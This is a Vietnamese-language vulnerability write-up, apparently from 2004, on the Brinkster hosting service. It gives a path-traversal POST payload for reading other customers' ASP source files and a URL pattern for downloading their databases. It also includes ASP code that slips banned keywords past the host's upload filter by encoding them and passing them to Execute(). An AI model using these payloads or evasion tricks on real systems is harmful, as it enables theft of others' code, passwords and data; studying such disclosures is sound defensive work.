Nhiều lổi được phát hiện trong Brinkster
trang này đã được đọc lần
Giới thiệu:
Brinkster là một công ty cung cấp host miễn phí/hoặc trả tiền phổ biến ,công
ty đã nhận được sự quan tâm của nhiều khách hàng trên thế giới.
Lỗi:
Lỗi đã được phát hiện vào ngày 1/26/2004.Okie,chúng ta sẽ đi phân tích chi
tiết những lỗi này:
1-Truy lục mã nguồn ASP:
Bất kì người dùng hợp lệ nào cũng có thể vào xem mã nguồn của người khác nếu
biết được tên file.Vì vậy kẻ tấn công có thể lợi dụng điều này để vào mã nguồn
ASP,dữ liệu password và các thông tin khác trong mã nguồn.
Lỗi này liên quan đến File Manager của Brinkster
(http://www.brinkster.com/FileManager.asp).
Trang Edit File Manager
(http://www.brinkster.com/FileManagerEdit.asp)
cho phép kẻ tấn công xem các file của victim bằng cách sửa đổi yêu cầu POST.
------------------------------------------------------
URL : http://www.brinkster.com/FileManagerEdit.asp
POST : faction=editfile&file2edit=%5C..%5C[VICTIM
USERNAME]%5C[FILE
TO READ AS TEXT]
------------------------------------------------------
2-Truy xuất File dữ liệu:
Nếu bạn biết được tên file database của bất kì người dùng Brinkster,bạn đều có
thể download nó(Bạn có thể tìm tên database từ mã nguồn mà bạn có được trong
lổi 1)
------------------------------------------------------
Database URL;
http://[BrinksterServer].brinkster.com/[Username]/db/[DatabaseFileName]
------------------------------------------------------
3-Bỏ qua code điều khiển:
Brinkster không cho phép 1 số code bị chia nhỏ trong file ASP.Giống như
"Server.Scripttimeout = 8000". Brinkster File Manager sẽ tự động kiểm tra mã
nguồn mà bạn đã upload và nếu nó phát hiện bất kì từ khoá bị hạn chế nào,ngay
lập tức file mà bạn đã upload sẽ bị xoá.
Bạn hoàn toàn có thể bỏ qua cơ chế này bằng cách sử dụng ASP được cài sẵn
trong hàm Execute().Hàm này không nằm trong danh sách từ khoá đen(từ khoá bị
cấm) của Brinkster.Vì vậy bạn hãy viết đoạn code giải mã và mã hoá đơn giản và
sử dụng nó bằng hàm Execute()
Ví dụ:
---------------
1) Cách đơn giản
không dùng hàm Execute();
<%
On _
Error Resume Next
%>
2) Dùng hàm
Execute();
<%
Dim onErrorStr
onErrorStr = "S e r v e r.S c r i p t T i m e o u t-E r r o r-R e s
u m e-N e x t"
Execute(Replace(Replace(onErrorStr," ",""),"-"," "))
%>
3) Dùng các giá trị Ascii và hàm Execute();
Code này cho phép bạn chọn "Server.Scripttimeout";
<%
Dim converted
Const errStr =
"083101114118101114046083099114105112116084105109101111117116032061032
057048048048048048048048048 "
converted = Asc2Str(errStr)
Execute(converted)
Response.Write converted
Function Asc2Str(byVal text)
Dim converted, character, i
For i = 0 to Round((Len(text)-1)/3,0)
If Len(text) > 2 Then
character = Chr(Left(text,3))
converted = converted & character
text = Right(text,Len(text)-3)
End If
Next
Asc2Str = converted
End Function
%>